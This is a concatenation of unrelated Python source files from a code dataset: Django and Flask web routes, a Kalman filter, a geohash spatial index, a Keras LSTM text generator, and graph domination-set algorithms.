os.path.join(settings.STATICI18N_ROOT,\n settings.STATICI18N_OUTPUT_DIR)\n\n for locale in languages:\n if verbosity > 0:\n self.stdout.write(\"processing language %s\\n\" % locale)\n\n jsfile = os.path.join(outputdir, get_filename(locale, domain))\n basedir = os.path.dirname(jsfile)\n if not os.path.isdir(basedir):\n os.makedirs(basedir)\n\n activate(locale)\n catalog, plural = get_javascript_catalog(locale, domain, packages)\n response = render_javascript_catalog(catalog, plural)\n\n with io.open(jsfile, \"w\", encoding=\"utf-8\") as fp:\n fp.write(force_text(response.content))\n","sub_path":"thirdpart/django_statici18n-1.1.3-py2.7.egg/statici18n/management/commands/compilejsi18n.py","file_name":"compilejsi18n.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"30492830","text":"from django.conf.urls import url\nfrom . import views\n\n\n\nurlpatterns = [\n #ORDENAR ALFABETICAMENTE\n\n #ASSIGNMENT: index, detail, create, update, delete.\n url(r'^apli/leu/$', views.apli, name='apli'),\n\n url(r'^assignment/$', views.assignment_index, name='assignment_index'),\n\n url(r'^assignment/(?P[0-9]+)/$', views.assignment_detail, name='assignment_detail'),\n url(r'^assignment/new/$', views.AssignmentCreate.as_view(), name='assignment_new'),\n url(r'^assignment/(?P[0-9]+)/update/$', views.AssignmentUpdate.as_view(), name='assignment_update'),\n url(r'^assignment/(?P[0-9]+)/delete/$', views.AssignmentDelete.as_view(), name='assignment_delete'),\n url(r'^assignment/(?P[0-9]+)/send/$', views.assignment_timetable_send, name='assignment_timetable_send'),\n\t\n #BUSCAR \n\n url(r'^busca/$', views.busca, name='busca'), \n\n # COSTO\n url(r'^cost/(?P[0-9]+)/$', views.cost_detail, name='cost_detail'),\n url(r'^cost/$', views.cost_index, name='cost_index'),\n url(r'^cost/new/$', views.CostCreate.as_view(), name='cost_new'),\n url(r'^cost/(?P[0-9]+)/update/$', views.CostUpdate.as_view(), name='cost_update'),\n url(r'^cost/(?P[0-9]+)/delete/$', views.CostDelete.as_view(), name='cost_delete'),\n\n\t#DASHBOARD: index\n\turl(r'^dashboard/$', views.dashboard, name='dashboard'),\n\n # TIMETABLE HORAIRE\n url(r'^time/new/$', views.create_horaire_assignment.as_view(), name='create_horaire_assignment'),\n url(r'^time/(?P[0-9]+)/update/$', views.edit_horaire_assignment.as_view(), name='edit_horaire_assignment'),\n url(r'^time/(?P[0-9]+)/delete/$', views.delete_horaire_assignment.as_view(), name='delete_horaire_assignment'),\n\n # TIME work in generall \n url(r'^timework/new/$', views.create_time_work.as_view(), name='create_time_work'),\n url(r'^timework/(?P[0-9]+)/update/$', views.edit_time_work.as_view(), name='edit_time_work'),\n url(r'^timework/(?P[0-9]+)/delete/$', views.delete_time_work.as_view(), name='delete_time_work'),\n\n\n\n #MAIL\n url(r'^project/(?P[0-9]+)/send/$', views.project_quotation_send, name='project_quotation_send'),\n #url(r'^mail_confirmation_work_to_model/$', views.mail_confirmation_work_to_model, name='mail_confirmation_work_to_model'),\n\n\t# PERSON: index, detail, create, update, delete.\n\n\turl(r'^person$', views.person_index, name='person_index'),\n # url(r'^person/(?P[\\w-]+)/$', views.person_detail, name='person_detail'),\n\turl(r'^person/(?P[0-9]+)/$', views.person_detail, name='person_detail'),\n url(r'^person/new/$', views.PersonCreate.as_view(), name='person_new'),\n url(r'^person/(?P[0-9]+)/update/$', views.PersonUpdate.as_view(), name='person_update'),\n url(r'^person/(?P[0-9]+)/delete/$', views.PersonDelete.as_view(), name='person_delete'),\n\n # PROJECT: index, detail, create, update, delete.\n\n url(r'^project/$', views.project_index, name='project_index'),\n\n url(r'^project/(?P[0-9]+)/$', views.project_detail, name='project_detail'),\n url(r'^project/new/$', views.ProjectCreate.as_view(), name='project_new'),\n url(r'^project/(?P[0-9]+)/update/$', views.ProjectUpdate.as_view(), name='project_update'),\n url(r'^project/(?P[0-9]+)/delete/$', views.ProjectDelete.as_view(), name='project_delete'),\n\n url(r'^$', views.formset_view) \n\n\n\n\n]","sub_path":"apli/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"423519159","text":"#!/usr/bin/python3\n'''checks for a specific pythagoras triplet whose sum of numbers is 1000 and prints the product of those numbers'''\nflag=0\nfor i in range(1,500):\n\tfor j in range(1,500):\n\t\tc=1000-i-j\n\t\tif((i**2)+(j**2)==(c**2)):\n\t\t\tprint(i*j*c)\n\t\t\tflag=1\n\t\t\tbreak\n\tif(flag==1):\n\t\tbreak\n","sub_path":"4_triplet.py","file_name":"4_triplet.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"303131566","text":"def update(mean1, var1, mean2, var2):\n new_mean = float(var2 * mean1 + var1 * mean2) / (var1 + var2)\n new_var = 1./(1./var1 + 1./var2)\n return [new_mean, new_var]\n\n\ndef predict(mean1, var1, mean2, var2):\n new_mean = mean1 + mean2\n new_var = var1 + var2\n return [new_mean, new_var]\n\n\n\n\nmeasurements=[5.,6.,7.,9.,10.,15]\nmotion=[1.,1.,2.,1.,5.,2]\n\nmeasurement_sig=4.\nmotion_sig=2.0\n\nmu=0.\nsig=.1\n\nfor i in range(len(measurements)):\n\t[mu,sig]=update(measurements[i],measurement_sig,mu,sig)\n\t# print mu,sig\n\t[mu,sig]=predict(motion[i],motion_sig,mu,sig)\n\t\nprint [mu,sig]\n","sub_path":"Kalman_filter/kalman.py","file_name":"kalman.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"73496725","text":"from itertools import chain\n\nimport geohash\n\nfrom .utils import distance_m\n\n# dependence between hashtag's precision and distance accurate calculating\n# in fact it's sizes of grids in km\nGEO_HASH_GRID_SIZE = {\n 1: 5000.0,\n 2: 1260.0,\n 3: 156.0,\n 4: 40.0,\n 5: 4.8,\n 6: 1.22,\n 7: 0.152,\n 8: 0.038\n}\n\n\nclass GeoGridIndex(object):\n \"\"\"\n Class for store index based on geohash of points for quick-and-dry\n neighbors search\n \"\"\"\n\n def __init__(self, precision=4):\n \"\"\"\n :param precision:\n \"\"\"\n self.precision = precision\n self.data = {}\n\n def get_point_hash(self, latitude, longitude):\n \"\"\"\n return geohash for given point with self.precision\n :param longitude:\n :param latitude:\n :return: string\n \"\"\"\n return geohash.encode(latitude, longitude, self.precision)\n\n def add_point(self, latitude, longitude):\n \"\"\"\n add point to index, point must be a GeoPoint instance\n :param latitude:\n :param longitude:\n :return:\n \"\"\"\n point_hash = self.get_point_hash(latitude, longitude)\n points = self.data.setdefault(point_hash, [])\n points.append((latitude, longitude))\n\n def get_nearest_points_dirty(self, latitude, longitude, radius):\n \"\"\"\n return approx list of point from circle with given center and radius\n it uses geohash and return with some error (see GEO_HASH_ERRORS)\n :param longitude:\n :param latitude:\n :param radius: radius of search circle\n :return: list of GeoPoints from given area\n \"\"\"\n grid_size = GEO_HASH_GRID_SIZE[self.precision]\n if radius > grid_size / 2:\n # radius is too big for current grid, we cannot use 9 neighbors\n # to cover all possible points\n suggested_precision = 0\n for precision, max_size in GEO_HASH_GRID_SIZE.items():\n if radius > max_size / 2:\n suggested_precision = precision - 1\n break\n raise ValueError(\n 'Too large radius, please rebuild GeoHashGrid with '\n 'precision={0}'.format(suggested_precision)\n )\n me_and_neighbors = geohash.expand(self.get_point_hash(latitude, longitude))\n return chain(*(self.data.get(key, []) for key in me_and_neighbors))\n\n def get_nearest_points(self, latitude, longitude, radius):\n \"\"\"\n return list of geo points from circle with given center and radius\n :param latitude:\n :param longitude:\n :param radius: radius of search circle\n :return: generator with tuple with GeoPoints and distance\n \"\"\"\n for p_lat, p_lng in self.get_nearest_points_dirty(latitude, longitude, radius):\n distance = distance_m(p_lat, p_lng, latitude, longitude)\n if distance <= radius:\n yield (p_lat, p_lng), distance\n","sub_path":"geoindex/geo_grid_index.py","file_name":"geo_grid_index.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"205888084","text":"from transform import get_big_long_line, get_them_and_bill_text\nfrom make_char_mappings import save_as\nimport random\nimport numpy as np\nfrom glob import glob\nfrom keras.models import Sequential\nfrom keras.layers.recurrent import LSTM\nfrom keras.layers.core import Dense, Activation, Dropout\n\nif __name__ == \"__main__\":\n\n import os\n\n _, text = get_them_and_bill_text('raw_data', size = 10000)\n\n # get a list of the unique chars\n chars = list(set(text))\n save_as(chars, 'models/bill_net/bill_map')\n\n\n # how big the window looking back is\n max_len = 20\n\n #?????\n model = Sequential()\n model.add(LSTM(512, return_sequences=True, input_shape=(max_len, len(chars))))\n model.add(Dropout(0.2))\n model.add(LSTM(512, return_sequences=False))\n model.add(Dropout(0.2))\n model.add(Dense(len(chars)))\n model.add(Activation('softmax'))\n model.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n\n # samples every 3 characters and goes through and makes a list of every 3 chars with the window size\n step = 3\n inputs = []\n outputs = []\n for i in range(0, len(text) - max_len, step):\n inputs.append(text[i:i+max_len])\n outputs.append(text[i+max_len])\n\n # get a obverse and inverse labeling for each char\n char_labels = {ch:i for i, ch in enumerate(chars)}\n labels_char = {i:ch for i, ch in enumerate(chars)}\n\n save_as(char_labels, 'models/bill_net/char_labels')\n save_as(labels_char, 'models/bill_net/labels_char')\n\n # using bool to reduce memory usage, make zeros, x is 2-d array of one-hot vectors\n # ie\n # y is single char\n\n '''\n example = 'cab dab'\n example_char_labels = {\n 'a': 0,\n 'b': 1,\n 'c': 2,\n 'd': 3,\n ' ' : 4\n }\n x\n [ a b c d ' '\n [0, 0, 1, 0, 0], # c\n [1, 0, 0, 0, 0], # a\n [0, 1, 0, 0, 0], # b\n [0, 0, 0, 0, 1], # (space)\n [0, 0, 0, 1, 0], # d\n [1, 0, 0, 0, 0], # a\n [0, 1, 0, 0, 0] # b\n ]\n y\n [[0, 0, 0, 0, 1]]\n '''\n\n\n X = np.zeros((len(inputs), max_len, len(chars)), dtype=np.bool)\n y = np.zeros((len(inputs), len(chars)), dtype=np.bool)\n\n\n\n # set the appropriate indices to 1 in each one-hot vector\n for i, example in enumerate(inputs):\n for t, char in enumerate(example):\n X[i, t, char_labels[char]] = 1\n y[i, char_labels[outputs[i]]] = 1\n\n\n # probably not worth understanding\n\n def generate(temperature=0.35, seed=None, num_chars=100):\n predicate=lambda x: len(x) < num_chars\n\n if seed is not None and len(seed) < max_len:\n raise Exception('Seed text must be at least {} chars long'.format(max_len))\n\n # if no seed text is specified, randomly select a chunk of text\n else:\n start_idx = random.randint(0, len(text) - max_len - 1)\n seed = text[start_idx:start_idx + max_len]\n\n sentence = seed\n generated = sentence\n\n while predicate(generated):\n # generate the input tensor\n # from the last max_len characters generated so far\n x = np.zeros((1, max_len, len(chars)))\n for t, char in enumerate(sentence):\n x[0, t, char_labels[char]] = 1.\n\n # this produces a probability distribution over characters\n probs = model.predict(x, verbose=0)[0]\n\n # sample the character to use based on the predicted probabilities\n next_idx = sample(probs, temperature)\n next_char = labels_char[next_idx]\n\n generated += next_char\n sentence = sentence[1:] + next_char\n return generated\n\n def sample(probs, temperature):\n \"\"\"samples an index from a vector of probabilities\n (this is not the most efficient way but is more robust)\"\"\"\n a = np.log(probs)/temperature\n dist = np.exp(a)/np.sum(np.exp(a))\n choices = range(len(probs))\n return np.random.choice(choices, p=dist)\n\n\n # the real deal\n epochs = 10\n for i in range(epochs):\n print('epoch %d'%i)\n\n # set nb_epoch to 1 since we're iterating manually\n # comment this out if you just want to generate text\n model.fit(X, y, batch_size=128, epochs=1)\n\n # preview\n for temp in [0.2, 0.5, 1., 1.2]:\n print('temperature: %0.2f'%temp)\n print('%s'%generate(temperature=temp))\n\n model.save('models/bill_net/bill_net.h5')\n","sub_path":"train/bill_net.py","file_name":"bill_net.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"92280405","text":"\"\"\"\nApp endpoints for indicators/features. This handles \"raw\"\nfeatures only. \n\nProjections and other feature generators are implemented with\nthe model.\n\"\"\"\n\nimport os\nimport json\nimport pandas as pd\nfrom flask import jsonify\nfrom time import time\nimport logging\nlogger = logging.getLogger(__name__)\nCONFIGURATION = 'configuration.json'\n\n\ndef fetch_data(config):\n \"\"\" Assemble the raw indicator sources \"\"\"\n\n start_time = time()\n sources = [os.path.join(os.getcwd(), config['paths']['output'],\n d['name'],\n 'data.csv') for d in config['sources']]\n\n # Generate a data frame with all indicators\n df = pd.concat((pd.read_csv(f)\n for f in sources), sort=False, ignore_index=True)\n \n # Summary stats\n logger.info(\"Sources : {}\".format(len(sources)))\n logger.info(\"Row count : {}\".format(len(df)))\n logger.info(\"Geographies : {}\".format(len(df['Country Name'].unique())))\n logger.info(\"Indicators : {}\".format(len(df['Indicator Code'].unique())))\n logger.info(\"Temporal coverage : {} -> {}\".format(df.year.min(), df.year.max()))\n logger.info(\"Null values : {}\".format(sum(df['value'].isnull())))\n\n logger.info(\"Loaded data in {:3.2f} sec.\".format(time() - start_time))\n\n return df\n\n\ndef set_up(app, config):\n \n with open(CONFIGURATION, 'rt') as infile:\n config = json.load(infile)\n \n df = fetch_data(config)\n\n COUNTRIES = config[\"supported-countries\"]['displacement']\n\n @app.route(\"/countries\")\n def countries():\n \"\"\" Get the list of countries supported \"\"\"\n\n countries = []\n afg = {}\n afg[\"Country Name\"]=\"Afghanistan\"\n afg[\"Country Code\"]=\"AFG\"\n countries.append(afg)\n mmr={}\n mmr[\"Country Name\"]=\"Myanmar\"\n mmr[\"Country Code\"]=\"MMR\"\n countries.append(mmr)\n return jsonify(countries), 200\n\n @app.route(\"/indicators\")\n def indicators():\n\n country = request.args.get('country')\n indicator = request.args.get('indicator')\n years = request.args.get('years')\n\n countries = country.split(',')\n \n if indicator == 'all':\n if country != 'all':\n df = df.loc[df[\"Country Code\"].isin(countries)]\n else:\n if country != 'all':\n df = df.loc[(df[\"Country Code\"].isin(countries)) & (df[\"Indicator Code\"] == indicator)]\n else:\n df = df.loc[df[\"Indicator Code\"] == indicator]\n # print(indicators)\n\n if years:\n if len(years) == 4:\n df = df.loc[df[\"year\"] == int(years)]\n else:\n df = df.loc[df[\"year\"] >= int(years[:4])]\n df = df.loc[df[\"year\"] <= int(years[5:])]\n\n return df.to_json(orient='records')\n\n @app.route(\"/indicatorCodeByName\")\n def indicatorCodeByName():\n indicatorName = request.args.get('indicator')\n response = df.loc[(df[\"Indicator Name\"] == indicatorName)][\"Indicator Code\"].unique()[0]\n return jsonify(response), 200\n\n @app.route(\"/uniqueIndicators\")\n def uniqueIndicators():\n\n indicators = df[\"Indicator Code\"].unique()\n responce = [*indicators]\n return jsonify(responce), 200\n\n @app.route(\"/uniqueIndicatorNames\")\n def uniqueIndicatorNames():\n\n indicators = df[\"Indicator Name\"].unique()\n responce = [*indicators]\n return jsonify(responce), 200","sub_path":"indicators_api.py","file_name":"indicators_api.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"634247238","text":"import logging\n\nfrom flask import Blueprint, render_template, request, abort, redirect, url_for, make_response\n\nfrom . import db\nfrom .db import session_scope\n\nlogger = logging.getLogger(\"quoted-forsooth.identifier\")\n\nidentifier = Blueprint('identifier', __name__)\n\n@identifier.route('/identifier_type/add/')\n@identifier.route('/identifier_type//edit/')\ndef add_type_index(db_id=None):\n with session_scope() as session:\n if db_id:\n identifier_type = session.query(db.IdentifierType).get(db_id)\n else:\n identifier_type = None\n page = render_template('identifier/identifier_type_edit.html', identifier_type=identifier_type)\n return page\n\n@identifier.route('/identifier_type/add/', methods=['POST'])\n@identifier.route('/identifier_type//edit/', methods=['POST'])\ndef add_type(db_id=None):\n with session_scope() as session:\n if 'db_id' in request.form:\n if db_id and db_id != request.form.get('db_id', type=int):\n raise ValueError(\"POSTed identifier ID does not match URL.\")\n identifier_type = session.query(db.IdentifierType).get(int(request.form['db_id']))\n else:\n identifier_type = db.IdentifierType()\n\n identifier_type.type = request.form['type']\n identifier_type.url_format_string = request.form['url_format_string']\n identifier_type.title_format_string = request.form['title_format_string']\n\n session.add(identifier_type)\n\n return redirect(url_for('index'))\n\n@identifier.route('/identifier/add/')\n@identifier.route('/identifier//edit/')\ndef add_index(db_id=None):\n with session_scope() as session:\n identifier_types = session.query(db.IdentifierType).order_by(db.IdentifierType.type).all()\n source = None\n if db_id:\n identifier = session.query(db.SourceIdentifier).get(db_id)\n else:\n if 's_id' in request.args:\n source = session.query(db.Source).get(int(request.args['s_id']))\n identifier = None\n return render_template('identifier/identifier_edit.html', identifier_types=identifier_types, identifier=identifier, source=source)\n\n@identifier.route('/identifier/add/', methods=['POST'])\n@identifier.route('/identifier//edit/', methods=['POST'])\ndef add(db_id=None):\n with session_scope() as session:\n identifier_type = session.query(db.IdentifierType).get(int(request.form['identifier_type']))\n if not identifier_type:\n abort(403)\n source = session.query(db.Source).get(int(request.form['source']))\n if not source:\n abort(403)\n if 'db_id' in request.form:\n if db_id and db_id != request.form.get('db_id', type=int):\n raise ValueError(\"POSTed identifier ID does not match URL.\")\n identifier = session.query(db.SourceIdentifier).get(int(request.form['db_id']))\n else:\n identifier = db.SourceIdentifier()\n identifier.identifier_type = identifier_type\n identifier.source = source\n identifier.identifier = request.form['identifier']\n\n session.add(identifier)\n session.flush()\n\n return redirect(url_for('.view', db_id=identifier.id))\n\n@identifier.route('/identifier//')\ndef view(db_id):\n with session_scope() as session:\n ident = session.query(db.SourceIdentifier).get(db_id)\n if not ident:\n abort(404)\n return render_template('identifier/identifier_view.html', identifier=ident)\n\n@identifier.route('/identifier/lookup/')\ndef lookup_source_by_identifier():\n with session_scope() as session:\n idtype = request.args['type']\n identifier = request.args['identifier']\n identifiers = session.query(db.SourceIdentifier).\\\n filter(db.SourceIdentifier.identifier == identifier).\\\n join(db.SourceIdentifier.identifier_type).\\\n filter(db.IdentifierType.type == idtype)\n if identifiers.count() == 0:\n abort(404)\n elif identifiers.count() == 1:\n return redirect(url_for('source.view', source_id=identifiers.first().source.id))\n else:\n sources = [i.source for i in identifiers]\n return make_response(render_template('source/index.html', sources=sources), 300)\n","sub_path":"identifier.py","file_name":"identifier.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"492793215","text":"#!/usr/bin/env python3\nfrom __future__ import print_function\n\nimport itertools, sys, random, os, argparse, glob\nfrom collections import defaultdict, Counter\nfrom operator import itemgetter\nfrom os import path\n\nfrom spacegraphcats.Eppstein import priorityDictionary\nfrom spacegraphcats.graph import Graph, TFGraph, EdgeSet, EdgeStream, VertexDict, write_gxt\n\n\nclass Domination:\n def __init__(self, domset, domgraph, assignment, radius):\n self.domset = domset\n self.domgraph = domgraph\n self.assignment = VertexDict(assignment)\n self.radius = radius\n\n def write(self, projectpath, projectname):\n fname = path.join(projectpath, projectname+\".{name}.{radius}.{extension}\")\n\n with open(fname.format(name=\"domgraph\",extension=\"gxt\",radius=self.radius), 'w') as f:\n write_gxt(f, self.domgraph)\n\n with open(fname.format(name=\"assignment\",extension=\"vxt\",radius=self.radius), 'w') as f:\n self.assignment.write_vxt(f, param_writer=lambda s: ' '.join(map(str,s)))\n\n @staticmethod\n def read(projectpath, projectname, radius):\n fname = path.join(projectpath, projectname+\".{name}.{radius}.{extension}\")\n\n with open(fname.format(name=\"domgraph\",extension=\"gxt\",radius=radius), 'r') as f:\n domgraph, _, _ = Graph.from_gxt(f)\n\n with open(fname.format(name=\"assignment\",extension=\"vxt\",radius=radius), 'r') as f:\n assignment = VertexDict.from_vxt(f, lambda s: list(map(int,s[0].split())))\n\n domset = set([v for v in domgraph])\n\n return Domination(domset, domgraph, assignment, radius)\n\n\nclass LazyDomination:\n def __init__(self, project):\n self.radius = project.radius\n self.projectpath = project.path\n self.projectname = project.name\n self.graph = project.graph\n\n def compute(self):\n try:\n res = Domination.read(self.projectpath, self.projectname, self.radius)\n print(\"Loaded {}-domination from project folder\".format(self.radius))\n except IOError:\n augg = self._compute_augg()\n domset = better_dvorak_reidl(augg, self.radius)\n dominators = calc_dominators(augg, domset, self.radius)\n domgraph, domset, dominators, assignment = calc_domination_graph(self.graph, augg, domset, dominators, self.radius)\n\n res = Domination(domset, domgraph, assignment, self.radius)\n res.write(self.projectpath, self.projectname)\n\n return res\n\n def _compute_augg(self):\n \"\"\"\n Computes dtf augmentations or loads them from the project folder.\n \"\"\"\n augname = path.join(self.projectpath,self.projectname+\".aug.{}.ext\")\n\n augs = {}\n for f in glob.glob(augname.format(\"[0-9]*\")):\n d = int(f.split(\".\")[-2])\n augs[d] = f\n\n if 0 in augs:\n auggraph = TFGraph(self.graph)\n with open(augname.format(\"0\"), 'r') as f:\n auggraph.add_arcs(EdgeStream.from_ext(f), 1)\n else:\n auggraph = ldo(self.graph)\n with open(augname.format(\"0\"), 'w') as f:\n EdgeSet(auggraph.arcs(weight=1)).write_ext(f)\n\n num_arcs = auggraph.num_arcs()\n changed = True\n d = 1\n print(\"Augmenting\", end=\" \")\n sys.stdout.flush()\n while changed and d <= self.radius:\n if d in augs:\n print(\"({})\".format(d), end=\" \")\n sys.stdout.flush()\n with open(augname.format(d), 'r') as f:\n auggraph.add_arcs(EdgeStream.from_ext(f), d+1)\n else:\n print(d, end=\" \")\n sys.stdout.flush()\n dtf_step(auggraph, d+1)\n with open(augname.format(d), 'w') as f:\n EdgeSet(auggraph.arcs(weight=d+1)).write_ext(f) \n\n curr_arcs = auggraph.num_arcs() # This costs a bit so we store it\n changed = num_arcs < curr_arcs\n num_arcs = curr_arcs\n d += 1\n print(\"\")\n return auggraph\n\n\n\n\"\"\" Dtf functions \"\"\"\n\ndef dtf(g, r):\n auggraph = ldo(g)\n num_arcs = auggraph.num_arcs()\n\n changed = True\n d = 1\n while changed and d <= r:\n dtf_step(auggraph, d+1)\n\n curr_arcs = auggraph.num_arcs() # This costs a bit so we store it\n changed = num_arcs < curr_arcs\n num_arcs = curr_arcs\n d += 1\n return auggraph\n\ndef dtf_step(g, dist):\n fratGraph = Graph()\n newTrans = {}\n\n for v in g:\n for x, y, _ in g.trans_trips_weight(v, dist):\n assert x != y\n newTrans[(x, y)] = dist\n for x, y, _ in g.frat_trips_weight(v, dist):\n assert x != y\n fratGraph.add_edge(x, y)\n\n for (s, t) in newTrans:\n assert s != t\n g.add_arc(s, t, dist)\n fratGraph.remove_edge(s,t)\n\n fratDigraph = ldo(fratGraph)\n\n for s, t, _ in fratDigraph.arcs():\n assert s != t\n g.add_arc(s,t,dist)\n\ndef ldo(g, weight=None):\n res = TFGraph(g.nodes)\n\n if weight == None:\n weight = defaultdict(int)\n\n degdict = {}\n buckets = defaultdict(set)\n for v in g:\n d = g.degree(v) + weight[v]\n degdict[v] = d\n buckets[d].add(v)\n\n seen = set()\n for i in range(0, len(g)):\n d = 0\n while len(buckets[d]) == 0:\n d += 1\n v = next(iter(buckets[d]))\n buckets[d].remove(v)\n\n for u in g.neighbours(v):\n if u in seen:\n continue\n d = degdict[u]\n buckets[d].remove(u)\n buckets[d-1].add(u)\n degdict[u] -= 1\n # Orient edges towards v\n res.add_arc(u,v,1)\n\n seen.add(v)\n return res\n\n\"\"\" Dvorak's algorithm with dtf-augs instead of weakly linked cols \"\"\"\n\ndef calc_distance(augg, X):\n dist = defaultdict(lambda: float('inf'))\n\n for v in X:\n dist[v] = 0\n\n # We need two passes\n for _ in range(2):\n for v in augg:\n for u, r in augg.in_neighbours(v):\n dist[v] = min(dist[v],dist[u]+r)\n for u, r in augg.in_neighbours(v):\n dist[u] = min(dist[u],dist[v]+r)\n\n return dist\n\ndef calc_dominators(augg, domset, d):\n dominators = defaultdict(lambda: defaultdict(set))\n\n for v in domset:\n dominators[v][0].add(v)\n\n # We need two passes\n for _ in range(2):\n for v in augg:\n # Pull dominators\n for u, r in augg.in_neighbours(v):\n for r2 in dominators[u].keys():\n domdist = r+r2\n if domdist <= d:\n dominators[v][domdist] |= dominators[u][r2]\n # Push dominators\n for u, r in augg.in_neighbours(v):\n for r2 in dominators[v].keys():\n domdist = r+r2\n if domdist <= d:\n dominators[u][domdist] |= dominators[v][r2]\n\n for v in dominators:\n cumulated = set()\n for r in range(d+1):\n dominators[v][r] -= cumulated\n cumulated |= dominators[v][r]\n\n return dominators\n\ndef calc_dominator_sizes(g, domset, d):\n res = {}\n for v in domset:\n res[v] = len(g.rneighbours(v,d))\n return res\n\ndef calc_dominated(augg, domset, d):\n dist = calc_distance(augg, domset)\n return filter(lambda v: dist[v] <= d, dist)\n\n\ndef _calc_domset_graph(domset, dominators, d):\n \"\"\" \n Builds up a 'domination graph' by assigning each vertex to \n its closest dominators. These dominators will be connected in the\n final graph.\n \"\"\"\n h = Graph.on(domset)\n\n assignment = defaultdict(set)\n for v in dominators:\n # Collect closest pairs\n sorted_doms = list(filter(lambda s: len(s) > 0, [dominators[v][r] for r in range(d+1)]))\n if len(sorted_doms[0]) >= 2:\n for x in sorted_doms[0]:\n assignment[v].add(x)\n\n for x,y in itertools.combinations(sorted_doms[0],2):\n h.add_edge(x,y)\n else:\n assert len(sorted_doms[0]) == 1\n x = next(iter(sorted_doms[0]))\n assignment[v].add(x)\n if len(sorted_doms) >= 2:\n for y in sorted_doms[1]:\n assignment[v].add(y)\n h.add_edge(x,y)\n\n return h, assignment\n\ndef calc_domination_graph(g, augg, domset, dominators, d):\n h, assignment = _calc_domset_graph(domset, dominators, d)\n hcomps = h.component_index()\n\n # print(\" First domgraph has {} components\".format(h.num_components()))\n\n compmap = {}\n for u in g:\n candidates = [hcomps[v] for v in assignment[u]]\n assert len(candidates) > 0\n assert candidates.count(candidates[0]) == len(candidates) # Make sure all the comps. agree\n compmap[u] = candidates[0]\n\n conn_graph = Graph()\n for u,v in g.edges():\n if u in domset or v in domset:\n continue\n # Check whether u,v 'connects' to components of h\n if compmap[u] != compmap[v]:\n conn_graph.add_edge(u,v)\n \n # Compute vertex cover for conn_graph\n vc = set()\n for u in conn_graph: # Add neighbours of deg-1 vertices\n if conn_graph.degree(u) == 1 and u not in vc:\n vc.add(next(iter(conn_graph.neighbours(u))))\n\n # We expect this to be mostly disjoint edges, so the following\n # heuristic works well.\n for u,v in conn_graph.edges():\n if u not in vc and v not in vc:\n if conn_graph.degree(u) > conn_graph.degree(v):\n vc.add(u)\n else:\n vc.add(v)\n\n newdomset = domset | vc\n if len(newdomset) != len(domset):\n # print(\" Recomputing domgraph\")\n dominators = calc_dominators(augg, newdomset, d)\n h, assignment = _calc_domset_graph(newdomset, dominators, d)\n\n return h, newdomset, dominators, assignment\n\ndef better_dvorak_reidl(augg,d):\n domset = set()\n infinity = float('inf')\n domdistance = defaultdict(lambda: infinity)\n\n # low indegree first (reverse=False)\n vprops = [(v,augg.in_degree(v)) for v in augg]\n vprops.sort(key=itemgetter(1),reverse=False)\n order = map(itemgetter(0),vprops)\n\n for v in order:\n if domdistance[v] <= d:\n continue\n\n for u,r in augg.in_neighbours(v):\n domdistance[v] = min(domdistance[v],r+domdistance[u])\n\n if domdistance[v] <= d:\n continue\n\n domset.add(v)\n domdistance[v] = 0\n\n for u,r in augg.in_neighbours(v):\n domdistance[u] = min(domdistance[u],r+domdistance[v])\n\n return domset\n\ndef test_scattered(g, sc, d):\n sc = set(sc)\n for v in sc:\n dN = g.rneighbours(v,d)\n if len(dN & sc) > 1: # v is in dN but nothing else should\n return False\n return True\n\ndef test_domset(g, ds, d):\n dominated = set()\n for v in ds:\n dominated |= g.rneighbours(v,d)\n return len(dominated) == len(g)\n\ndef test_dominators(g, domset, dominators, d):\n for v in g:\n dN = g.rneighbours(v,d)\n candidates = dN & domset\n for r in range(0,d+1):\n candidates -= dominators[v][r]\n if len(candidates) > 0:\n print(v, candidates, dominators[v])\n return False\n return True\n\ndef test_dominators_strict(g, domset, dominators, d):\n for v in g:\n dN = set([v])\n if dominators[v][0] != (dN & domset):\n return False\n\n for r in range(1,d+1):\n shell = g.neighbours_set(dN) - dN\n if dominators[v][r] != (shell & domset):\n return False\n dN |= shell\n return True\n\ndef rdomset(g, d):\n augg = dtf(g, d)\n domset = better_dvorak_reidl(augg, d)\n\n return domset, augg\n\ndef main(inputgxt, outputgxt, d, test, domgraph):\n g, node_attrs, edge_attrs = Graph.from_gxt(inputgxt)\n g.remove_loops()\n\n domset, augg = rdomset(g,d)\n print(\"Computed {}-domset of size {} in graph with {} vertices\".format(d,len(domset),len(g)))\n\n dominators = calc_dominators(augg, domset, d)\n\n # Compute domset graph\n if domgraph:\n print(\"Computing domgraph\")\n h = _calc_domset_graph(domset, dominators, d)\n write_gxt(domgraph, h)\n\n # Test domset\n if test:\n print(\"Testing domset:\", test_domset(g,domset,d))\n\n # Annotate domset\n labelds = 'ds{}'.format(d)\n for v in domset:\n node_attrs[v][labelds] = 1\n\n write_gxt(outputgxt, g, node_attrs, edge_attrs)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('input', help='gxt input file', nargs='?', type=argparse.FileType('r'),\n default=sys.stdin)\n parser.add_argument('output', help='gxt output file', nargs='?', type=argparse.FileType('w'),\n default=sys.stdin)\n parser.add_argument('--domgraph', help='gxt output file', nargs='?', type=argparse.FileType('w'),\n default=None)\n parser.add_argument(\"d\", help=\"domset distance\", type=int )\n parser.add_argument('--test', action='store_true')\n args = parser.parse_args()\n\n main(args.input, args.output, args.d, args.test, 